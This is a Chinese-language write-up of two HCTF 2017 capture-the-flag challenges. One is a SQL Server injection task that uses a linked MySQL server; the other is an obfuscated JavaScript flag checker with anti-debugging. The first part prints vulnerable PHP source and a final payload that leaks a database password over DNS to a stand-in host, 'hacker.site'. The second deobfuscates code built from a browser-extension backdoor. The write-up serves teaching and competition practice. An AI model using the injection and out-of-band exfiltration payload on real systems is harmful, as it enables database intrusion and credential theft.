boring website
首先掃目錄發現有www.zip, 下載并打開發現是源碼
<?php
echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: O
n linkname:mysql
$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>
發現應該是sql server用linkserver來連接mysql。所以去查了一波linkserver的用法,以及結合注釋可得select * from openquery(mysql,’select xxx’)可以從mysql數據庫中查得信息,但是沒有回顯,sleep函數也被ban了,然后看到oob的提示,去查了一波mysql out-of-band,發現load_file函數可以通過dns通道把所查得的數據帶出來。接下來的過程就是十分常見簡單的mysql注入的流程。
最終的payload: /?id=1 union select * from openquery(mysql,’select load_file(concat(“\\“,(select password from secret),”.hacker.site\a.txt”))’)
dnslog 平臺可以自己搭也可以用ceye
mysql out of band
babycrack
Description
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Now Score 302.93
Team solved 45
還是很抱歉題目的驗證邏輯還是出現了不可逆推的問題,被迫在比賽中途加入4個hint來修復問題,下面我們來慢慢看看代碼。
整個題目由反調試+代碼混淆+邏輯混淆3部分組成,你可以說題目毫無意義完全為了出題而出題,但是這種代碼確實最最真實的前端代碼,現在許多站點都會選擇使用反調試+混淆+一定程度的代碼混淆來混淆部分前端代碼。
出題思路主要有兩篇文章:
http://www.jianshu.com/p/9148d215c119
https://zhuanlan.zhihu.com/p/29214928
整個題目主要是在我分析chrome拓展后門時候構思的,代碼同樣經過了很多重的混淆,讓我們來一步步解釋。
反調試
第一部分是反調試,當在頁面內使用F12來調試代碼時,會卡死在debugger代碼處。
這里舉個例子就是蘑菇街的登陸驗證代碼。
具體代碼是這樣的
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));
這就是比較常見的反調試。我這里提供3種辦法來解決這步。
1、使用node做代碼調試。
由于這里的debugger檢測的是瀏覽器的調試,如果直接對代碼調試就不會觸發這樣的問題。
2、靜態分析
因為題目中代碼較少,我沒辦法把代碼混入深層邏輯,導致代碼可以純靜態分析。
3、patch debugger函數
由于debugger本身智慧觸發一次,不會無限制的卡死調試器,這里會出現這種情況,主要是每5s輪詢檢查一次。那么我們就可以通過patch settimeout函數來繞過。
window._setTimeout = window.setTimeout;
window.setTimeout = function () {};
這里可以用瀏覽器插件TamperMonkey解決問題。
除了卡死debug以外,我還加入了輪詢刷新console的代碼。
setInterval("window.console.log('Welcome to HCTF :>')", 50);
同樣的辦法可以解決,就不多說了。
代碼混淆
在去除掉這部分無用代碼之后,我們接著想辦法去除代碼混淆。
這里最外層的代碼混淆,我是通過https://github.com/javascript-obfuscator/j... 做了混淆。
ps:因為我在代碼里加入了es6語法,市面上的很多工具都不支持es6語法,會導致去混淆的代碼語法錯誤!
更有趣的是,這種混淆是不可逆的,所以我們只能通過逐漸去混淆的方式來美化代碼。
我們可以先簡單美化一下代碼格式
(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a[_0x5c351c];
return _0x26f3b3;
};
function check(_0x5b7c0c) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function (_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = _0x2e2f8d[_0x3120e0];
return _0x3a882f;
};
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[_0x43c8d1(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
}
return _0x52b956;
};
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
var _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510(++_0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());
}());
return _0x4dc510[_0xa180('0x31')]('');
};
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
}
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
};
j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52 => _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
}
}
代碼里主要有幾點混淆:
- 1、變量名替換,a –> _0xd4b7d6,這種東西最煩,但是也最簡單,批量替換,在我看來即使abcd這種變量也比這個容易讀
- 2、提取了所有的方法到一個數組,這種也簡單,只要在chrome中逐步調試替換就可以了。

還有一些小的細節,很常見,沒什么可說的
"s".length() --> "s"['length']()
最終代碼可以優化到這個地步,基本已經可讀了,下一步就是分析代碼了。
function check(flag){
var _ = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
var head = flag['substring'](0, 4);
var base = parseInt(btoa(head), 0x20); //344800
(function (b, c) {
var d = function (a) {
while (--a) {
b['push'](b['shift']())
}
};
d(++c);
}(_, base%123));
var g = function (a) {
var a = parseInt(a, 0x10);
var c = _[a];
return c;
};
var s2h = function(str){
var result = "0x";
for(var i=0;i<str['length'];i++){
result += str['charCodeAt'](i)['toString'](16)
}
return result;
}
var b = flag['split']("_");
var c = (s2h(b[0]['substr'](-2,2)) ^ s2h(b[0]['substr'](4,1))) % b[0]['length'] == 5;
if(!c){
return false;
}
b2c = function(s) {
var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
var parts = [];
var quanta = Math.floor((s['length'] / 5));
var leftover = s['length'] % 5;
if (leftover != 0) {
for (var i = 0; i < (5 - leftover); i++) {
s += '\x00';
}
quanta += 1;
}
for (i = 0; i < quanta; i++) {
parts.push(alphabet.charAt(s['charCodeAt'](i * 5) >> 3));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) << 2) | (s['charCodeAt'](i * 5 + 1) >> 6)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x3F) >> 1)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x01) << 4) | (s['charCodeAt'](i * 5 + 2) >> 4)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 2) & 0x0F) << 1) | (s['charCodeAt'](i * 5 + 3) >> 7)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x7F) >> 2)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x03) << 3) | (s['charCodeAt'](i * 5 + 4) >> 5)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 4) & 0x1F))));
}
var replace = 0;
if (leftover == 1)
replace = 6;
else if (leftover == 2)
replace = 4;
else if (leftover == 3)
replace = 3;
else if (leftover == 4)
replace = 1;
for (i = 0; i < replace; i++)
parts.pop();
for (i = 0; i < replace; i++)
parts.push("=");
return parts.join("");
}
e = s2h(b2c(b[2])['split']("=")[0])^0x53a3f32
if(e != 0x4b7c0a73){
return false;
}
f = s2h(b2c(b[3])['split']("=")[0]) ^ e;
if(f != 0x4315332){
return false;
}
n = f*e*b[0]['length'];
h = function(str, func){
var result = "";
for(var i=0;i<str['length'];i++){
result += func(str[i])
}
return result;
}
j = b[1]['split']("3");
if(j[0]['length'] != j[1]['length'] || (s2h(j[0])^s2h(j[1])) != 0x1613){
return false;
}
k = str => str['charCodeAt']()*b[1]['length'];
l = h(j[0],k);
if(l!=0x2f9b5072){
return false;
}
m = s2h(b[4]['substr'](0,4))-0x48a05362 == n%l;
function u(str, j){
var result = "";
for(var i=0;i<j;i++){
result += str;
}
return result;
}
if(!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1){
return false
}
o = s2h(b[4]['substr'](6,2))['substr'](2) == b[4]['substr'](6,1)['charCodeAt']()*b[4]['length']*5;
return o && b[4]['substr'](4,1) == 2 && b[4]['substr'](6,2) == u(b[4]['substr'](7,1),2);
}
剩下的代碼已經沒什么可說的了。
- 1、首先是確認flag前綴,然后按照
_分割為5部分。 - 2、g函數對基礎數組做了一些處理,已經沒什么懂了。
- 3、s2h是字符串到hex的轉化函數
- 4、第一部分的驗證不完整,導致嚴重的多解,只能通過爆破是否符合sha256來解決。
- 5、后面引入的b2c函數很簡單,測試就能發現是一個base32函數。
- 6、第三部分和第四部分最簡單,異或可得
- 7、h函數會對輸入的字符串每位做func函數處理,然后拼接起來。
- 8、第二部分由3分割,左右兩邊長度相等,同樣可以推算出結果。
- 9、k是我專門加入的es6語法的箭頭語法,對傳入的每個字母做乘7操作。
- 10、最后一題通過簡單的判斷,可以確定最后一部分的前四位。
- 11、u函數返回指定字符串的指定前幾位
- 12、剩下的就是一連串的條件:
- 13、首先是一些很關鍵的的重復位,由于我寫錯了一些東西,導致這里永遠是false,后被迫給出這幾位.
!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1 - 14、最后一部分是集合長度、以及部分條件完成的,看上去存在多解,但事實上是能逆向出來結果的。
當我們都完成這部分的時候,flag就會被我們解出來了。
2017HCTF-Writeup